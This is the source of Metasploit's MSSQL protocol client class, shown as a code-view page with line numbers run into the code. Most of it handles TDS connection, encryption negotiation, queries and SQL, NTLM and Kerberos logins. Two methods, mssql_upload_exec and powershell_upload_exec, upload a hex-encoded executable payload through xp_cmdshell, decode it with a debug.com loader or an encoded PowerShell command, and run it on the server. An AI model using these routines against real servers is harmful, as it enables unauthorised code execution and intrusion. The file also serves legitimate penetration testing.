Path: blob/master/lib/rex/proto/mssql/client.rb
27885 views
require 'metasploit/framework/tcp/client'1require 'rex/proto/mssql/client_mixin'2require 'rex/text'3require 'msf/core/exploit'4require 'msf/core/exploit/remote'56module Rex7module Proto8module MSSQL9class Client10include Metasploit::Framework::Tcp::Client11include Rex::Proto::MSSQL::ClientMixin12include Rex::Text13include Msf::Exploit::Remote::MSSQL_COMMANDS14include Msf::Exploit::Remote::Udp15include Msf::Exploit::Remote::NTLM::Client16include Msf::Exploit::Remote::Kerberos::Ticket::Storage17include Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::Options1819attr_accessor :tdsencryption20attr_accessor :sock21attr_accessor :auth22attr_accessor :ssl23attr_accessor :ssl_version24attr_accessor :ssl_verify_mode25attr_accessor :ssl_cipher26# @!attribute sslkeylogfile27# @return [String] The SSL key log file path28attr_accessor :sslkeylogfile29attr_accessor :proxies30attr_accessor :connection_timeout31attr_accessor :send_lm32attr_accessor :send_ntlm33attr_accessor :send_spn34attr_accessor :use_lmkey35attr_accessor :use_ntlm2_session36attr_accessor :use_ntlmv237attr_reader :framework_module38attr_reader :framework39# @!attribute max_send_size40# @return [Integer] The max size of the data to encapsulate in a single packet41attr_accessor :max_send_size42# @!attribute send_delay43# @return [Integer] The delay between sending packets44attr_accessor :send_delay45# @!attribute initial_connection_info46# @return [Hash] Key-value pairs received from the server during the initial MSSQL connection.47# See the spec here: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tds/b46a581a-39de-4745-b076-ec4dbb7d13ec48attr_accessor :initial_connection_info49# @!attribute current_database50# @return [String] The database name this client is currently connected to.51attr_accessor :current_database5253def initialize(framework_module, framework, rhost, rport = 1433, proxies = nil, sslkeylogfile: nil)54@framework_module = framework_module55@framework = framework56@connection_timeout = framework_module.datastore['ConnectTimeout'] || 3057@max_send_size = framework_module.datastore['TCP::max_send_size'] || 058@send_delay = framework_module.datastore['TCP::send_delay'] || 05960@auth = framework_module.datastore['Mssql::Auth'] || Msf::Exploit::Remote::AuthOption::AUTO61@hostname = framework_module.datastore['Mssql::Rhostname'] || ''6263@tdsencryption = framework_module.datastore['TDSENCRYPTION'] || false64@hex2binary = framework_module.datastore['HEX2BINARY'] || ''6566@domain_controller_rhost = framework_module.datastore['DomainControllerRhost'] || ''67@rhost = rhost68@rport = rport69@proxies = proxies70@sslkeylogfile = sslkeylogfile71@current_database = ''72@initial_connection_info = {errors: []}73end7475def connect(global = true, opts={})76dossl = false77if(opts.has_key?('SSL'))78dossl = opts['SSL']79else80dossl = ssl81end8283@mstds_channel = Rex::Proto::MsTds::Channel.new(84'PeerHost' => opts['RHOST'] || rhost,85'PeerHostname' => opts['SSLServerNameIndication'] || opts['RHOSTNAME'],86'PeerPort' => (opts['RPORT'] || rport).to_i,87'LocalHost' => opts['CHOST'] || chost || "0.0.0.0",88'LocalPort' => (opts['CPORT'] || cport || 0).to_i,89'SSL' => dossl,90'SSLVersion' => opts['SSLVersion'] || ssl_version,91'SSLVerifyMode' => opts['SSLVerifyMode'] || ssl_verify_mode,92'SSLKeyLogFile' => opts['SSLKeyLogFile'] || sslkeylogfile,93'SSLCipher' => opts['SSLCipher'] || ssl_cipher,94'Proxies' => proxies,95'Timeout' => (opts['ConnectTimeout'] || connection_timeout || 10).to_i,96'Context' => { 'Msf' => framework, 'MsfExploit' => framework_module }97)98nsock = @mstds_channel.lsock99# enable evasions on this socket100set_tcp_evasions(nsock)101102# Set this socket to the global socket as necessary103self.sock = nsock if (global)104105return nsock106end107108# MS SQL Server only supports Windows and Linux109def map_compile_os_to_platform(server_info)110return '' if server_info.blank?111112os_data = server_info.downcase.encode(::Encoding::BINARY)113114if os_data.match?('linux')115platform = Msf::Platform::Linux.realname116elsif os_data.match?('windows')117platform = Msf::Platform::Windows.realname118elsif os_data.match?('win')119platform = Msf::Platform::Windows.realname120else121platform = os_data122end123platform124end125126# MS SQL Server currently only supports 64 bit but older installs may be x86127def map_compile_arch_to_architecture(server_info)128return '' if server_info.blank?129130arch_data = server_info.downcase.encode(::Encoding::BINARY)131132if arch_data.match?('x64')133arch = ARCH_X86_64134elsif arch_data.match?('x86')135arch = ARCH_X86136elsif arch_data.match?('64')137arch = ARCH_X86_64138elsif arch_data.match?('32-bit')139arch = ARCH_X86140else141arch = arch_data142end143arch144end145146# @return [Hash] Detect the platform and architecture of the MSSQL server:147# * :arch [String] The server architecture.148# * :platform [String] The server platform.149def detect_platform_and_arch150result = {}151152version_string = query('select @@version')[:rows][0][0]153arch = version_string[/\b\d+\.\d+\.\d+\.\d+\s\(([^)]*)\)/, 1] || version_string154plat = version_string[/\bon\b\s+(\w+)/, 1] || version_string155156result[:arch] = map_compile_arch_to_architecture(arch)157result[:platform] = map_compile_os_to_platform(plat)158result159end160161#162# This method connects to the server over TCP and attempts163# to authenticate with the supplied username and password164# The global socket is used and left connected after auth165#166167def mssql_login(user='sa', pass='', db='', domain_name='')168case auth169when Msf::Exploit::Remote::AuthOption::AUTO170if domain_name.blank?171login_sql(user, pass, db, domain_name)172else173login_ntlm(user, pass, db, domain_name)174end175when Msf::Exploit::Remote::AuthOption::KERBEROS176login_kerberos(user, pass, db, domain_name)177when Msf::Exploit::Remote::AuthOption::NTLM178login_ntlm(user, pass, db, domain_name)179when Msf::Exploit::Remote::AuthOption::PLAINTEXT180login_sql(user, pass, db, domain_name)181end182end183184#185#this method send a prelogin packet and check if encryption is off186#187def mssql_prelogin(enc_error=false)188disconnect if self.sock189connect190191pkt = mssql_prelogin_packet192193resp = mssql_send_recv(pkt)194195idx = 0196data = parse_prelogin_response(resp)197198unless data[:encryption]199framework_module.print_error("Unable to parse encryption req " \200"during pre-login, this may not be a MSSQL server")201data[:encryption] = ENCRYPT_NOT_SUP202end203204##########################################################205# Our initial prelogin pkt above said we didnt support206# encryption (it's quicker and the default).207#208# Per the matrix on the following link, SQL Server will209# terminate the connection if it does require TLS,210# otherwise it will accept an unencrypted session. As211# part of this initial response packet, it also returns212# ENCRYPT_REQ.213#214# https://msdn.microsoft.com\215# /en-us/library/ee320519(v=sql.105).aspx216#217##########################################################218219if data[:encryption] == ENCRYPT_REQ220# restart prelogin process except that we tell SQL Server221# than we are now able to encrypt222disconnect if self.sock223connect224225# offset 35 is the flag - turn it on226pkt[35] = [ENCRYPT_ON].pack('C')227self.tdsencryption = true228framework_module.print_status("TLS encryption has " \229"been enabled based on server response.")230231resp = mssql_send_recv(pkt)232data = parse_prelogin_response(resp)233234unless data[:encryption]235framework_module.print_error("Unable to parse encryption req " \236"during pre-login, this may not be a MSSQL server")237data[:encryption] = ENCRYPT_NOT_SUP238end239end240data241end242243def query(sqla, doprint=false, opts={})244info = { :sql => sqla }245opts[:timeout] ||= 15246pkts = []247idx = 0248249bsize = 4096 - 8250chan = 0251252@cnt ||= 0253@cnt += 1254255sql = Rex::Text.to_unicode(sqla)256while(idx < sql.length)257buf = sql[idx, bsize]258flg = buf.length < bsize ? "\x01" : "\x00"259pkts << "\x01" + flg + [buf.length + 8].pack('n') + [chan].pack('n') + [@cnt].pack('C') + "\x00" + buf260idx += bsize261262end263264resp = mssql_send_recv(pkts.join, opts[:timeout])265mssql_parse_reply(resp, info)266mssql_print_reply(info) if doprint267info268end269270def mssql_upload_exec(exe, debug=false)271hex = exe.unpack("H*")[0]272273var_bypass = Rex::Text.rand_text_alpha(8)274var_payload = Rex::Text.rand_text_alpha(8)275276print_status("Warning: This module will leave #{var_payload}.exe in the SQL Server %TEMP% directory")277print_status("Writing the debug.com loader to the disk...")278h2b = File.read(@hex2binary, File.size(@hex2binary))279h2b.gsub!('KemneE3N', "%TEMP%\\#{var_bypass}")280h2b.split("\n").each do |line|281mssql_xpcmdshell("#{line}", false)282end283284print_status("Converting the debug script to an executable...")285mssql_xpcmdshell("cmd.exe /c cd %TEMP% && cd %TEMP% && debug < %TEMP%\\#{var_bypass}", debug)286mssql_xpcmdshell("cmd.exe /c move %TEMP%\\#{var_bypass}.bin %TEMP%\\#{var_bypass}.exe", debug)287288print_status("Uploading the payload, please be patient...")289idx = 0290cnt = 500291while(idx < hex.length - 1)292mssql_xpcmdshell("cmd.exe /c echo #{hex[idx, cnt]}>>%TEMP%\\#{var_payload}", false)293idx += cnt294end295296print_status("Converting the encoded payload...")297mssql_xpcmdshell("%TEMP%\\#{var_bypass}.exe %TEMP%\\#{var_payload}", debug)298mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_bypass}.exe", debug)299mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_payload}", debug)300301print_status("Executing the payload...")302mssql_xpcmdshell("%TEMP%\\#{var_payload}.exe", false, {:timeout => 1})303end304305def powershell_upload_exec(exe, debug=false)306# hex converter307hex = exe.unpack("H*")[0]308# create random alpha 8 character names309#var_bypass = rand_text_alpha(8)310var_payload = rand_text_alpha(8)311print_status("Warning: This module will leave #{var_payload}.exe in the SQL Server %TEMP% directory")312# our payload converter, grabs a hex file and converts it to binary for us through powershell313h2b = "$s = gc 'C:\\Windows\\Temp\\#{var_payload}';$s = [string]::Join('', $s);$s = $s.Replace('`r',''); $s = $s.Replace('`n','');$b = new-object byte[] $($s.Length/2);0..$($b.Length-1) | %{$b[$_] = [Convert]::ToByte($s.Substring($($_*2),2),16)};[IO.File]::WriteAllBytes('C:\\Windows\\Temp\\#{var_payload}.exe',$b)"314h2b_unicode=Rex::Text.to_unicode(h2b)315# base64 encode it, this allows us to perform execution through powershell without registry changes316h2b_encoded = Rex::Text.encode_base64(h2b_unicode)317print_status("Uploading the payload #{var_payload}, please be patient...")318idx = 0319cnt = 500320while(idx < hex.length - 1)321mssql_xpcmdshell("cmd.exe /c echo #{hex[idx, cnt]}>>%TEMP%\\#{var_payload}", false)322idx += cnt323end324print_status("Converting the payload utilizing PowerShell EncodedCommand...")325mssql_xpcmdshell("powershell -EncodedCommand #{h2b_encoded}", debug)326mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_payload}", debug)327print_status("Executing the payload...")328mssql_xpcmdshell("%TEMP%\\#{var_payload}.exe", false, {:timeout => 1})329print_status("Be sure to cleanup #{var_payload}.exe...")330end331332# @param [ENVCHANGE] envchange The ENVCHANGE type to get the information for.333# @return [Hash] Returns a hash of values if the provided type exists.334# @return [Hash] Returns the whole connection info if envchange is nil.335# @return [Hash] Returns an empty hash if the provided type is not present.336def initial_info_for_envchange(envchange: nil)337return self.initial_connection_info if envchange.nil?338return nil unless (self.initial_connection_info && self.initial_connection_info.is_a?(::Hash))339340self.initial_connection_info[:envs]&.select { |hash| hash[:type] == envchange }&.first || {}341end342343def peerhost344rhost345end346347def peerport348rport349end350351def peerinfo352Rex::Socket.to_authority(peerhost, peerport)353end354355protected356357def rhost358@rhost359end360361def rport362@rport363end364365def chost366return nil367end368369def cport370return nil371end372373private374375def login_kerberos(user, pass, db, domain_name)376prelogin_data = mssql_prelogin377378framework_module.fail_with(Msf::Exploit::Failure::BadConfig, 'The Mssql::Rhostname option is required when using kerberos authentication.') if @hostname.blank?379kerberos_authenticator = Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::MSSQL.new(380host: @domain_controller_rhost,381hostname: @hostname,382mssql_port: rport,383proxies: proxies,384realm: domain_name,385username: user,386password: pass,387framework: framework,388framework_module: framework_module,389ticket_storage: Msf::Exploit::Remote::Kerberos::Ticket::Storage::WriteOnly.new(framework: framework, framework_module: framework_module)390)391392kerberos_result = kerberos_authenticator.authenticate393394pkt_hdr = MsTdsHeader.new(395packet_type: MsTdsType::TDS7_LOGIN,396packet_id: 1397)398399pkt_body = MsTdsLogin7.new(400option_flags_2: {401f_int_security: 1402},403server_name: rhost,404database: db405)406407pkt_body.sspi = kerberos_result[:security_blob].bytes408409pkt_hdr.packet_length += pkt_body.num_bytes410pkt = pkt_hdr.to_binary_s + pkt_body.to_binary_s411412@mstds_channel.starttls if tdsencryption == true413414resp = mssql_send_recv(pkt)415416info = {:errors => []}417info = mssql_parse_reply(resp, info)418self.initial_connection_info = info419self.initial_connection_info[:prelogin_data] = prelogin_data420421return false if not info422423info[:login_ack] ? true : false424end425426def login_ntlm(user, pass, db, domain_name)427prelogin_data = mssql_prelogin428429pkt_hdr = MsTdsHeader.new(430packet_type: MsTdsType::TDS7_LOGIN,431packet_id: 1432)433434pkt_body = MsTdsLogin7.new(435option_flags_2: {436f_int_security: 1437},438server_name: rhost,439database: db440)441442ntlm_client = ::Net::NTLM::Client.new(443user,444pass,445workstation: Rex::Text.rand_text_alpha(rand(1..8)),446domain: domain_name,447)448type1 = ntlm_client.init_context449# SQL 2012, at least, does not support KEY_EXCHANGE450type1.flag &= ~ ::Net::NTLM::FLAGS[:KEY_EXCHANGE]451452pkt_body.sspi = type1.serialize.bytes453454pkt_hdr.packet_length += pkt_body.num_bytes455pkt = pkt_hdr.to_binary_s + pkt_body.to_binary_s456457@mstds_channel.starttls if tdsencryption == true458459# Rem : One have to set check_status to false here because sql server sp0 (and maybe above)460# has a strange behavior that differs from the specifications461# upon receiving the ntlm_negotiate request it send an ntlm_challenge but the status flag of the tds packet header462# is set to STATUS_NORMAL and not STATUS_END_OF_MESSAGE, then internally it waits for the ntlm_authentification463resp = mssql_send_recv(pkt, 15, false)464465# Strip the TDS header466resp = resp[3..-1]467type3 = ntlm_client.init_context([resp].pack('m'))468type3_blob = type3.serialize469470# Create an SSPIMessage471pkt_hdr = MsTdsHeader.new(472type: MsTdsType::SSPI_MESSAGE,473packet_id: 1474)475476pkt_hdr.packet_length += type3_blob.length477pkt = pkt_hdr.to_binary_s + type3_blob478479resp = mssql_send_recv(pkt)480481info = {:errors => []}482info = mssql_parse_reply(resp, info)483self.initial_connection_info = info484self.initial_connection_info[:prelogin_data] = prelogin_data485486return false if not info487info[:login_ack] ? true : false488end489490def login_sql(user, pass, db, _domain_name)491prelogin_data = mssql_prelogin492493pkt_hdr = MsTdsHeader.new(494packet_type: MsTdsType::TDS7_LOGIN,495packet_id: 1496)497498pkt_body = MsTdsLogin7.new(499server_name: rhost,500database: db,501username: user,502password: pass503)504505pkt_hdr.packet_length += pkt_body.num_bytes506pkt = pkt_hdr.to_binary_s + pkt_body.to_binary_s507508@mstds_channel.starttls if tdsencryption509510resp = mssql_send_recv(pkt)511512info = {:errors => []}513info = mssql_parse_reply(resp, info)514self.initial_connection_info = info515self.initial_connection_info[:prelogin_data] = prelogin_data516517return false if not info518info[:login_ack] ? true : false519end520end521522end523end524end525526527